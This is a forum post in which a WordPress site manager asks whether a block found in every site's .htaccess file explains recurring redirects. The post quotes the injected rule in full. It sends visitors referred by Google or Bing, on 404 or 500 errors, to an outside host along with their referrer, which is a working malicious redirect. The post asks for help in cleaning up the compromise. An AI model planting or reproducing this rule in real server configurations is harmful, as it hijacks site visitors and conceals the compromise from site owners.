Is this .htaccess file hacked? All of the sites I manage get random redirects

Is this htaccess file hacked? I'm referring to this code that's in all of the site's htaccess files:

    # END WordPress
<If "%{HTTP_REFERER} =~ m#/(.*google.*)|(.*bing.*)/#">
ErrorDocument 404 http://mywebinfo.site/jquery.php?referrer404=%{escape:%{HTTP_REFERER}}
ErrorDocument 500 http://mywebinfo.site/jquery.php?referrer500=%{escape:%{HTTP_REFERER}}
</If>

I have installed Wordfence on all the sites that I manage for my company, and am constantly scanning and picking malicious stuff, but it never says anything about the .htaccess files...and they all have this code in them after #END Wordpress and before the code that Wordfence injects in there...

Here's a link to one of the sites, which today is redirecting...but it seems like the redirects are running in some kind of cascading effect, as in we have a bunch of sites under our hosting account, and one day site A redirecrts, and the next day site B redirects...anyways, today this site is redirecting:

This site, along with every other site we have, has that code in it's htaccess file, and I'm wondering if that's part of the problem. FYI, I'm sort of self-taught out of necessity when it comes to this stuff, so be kind lol.
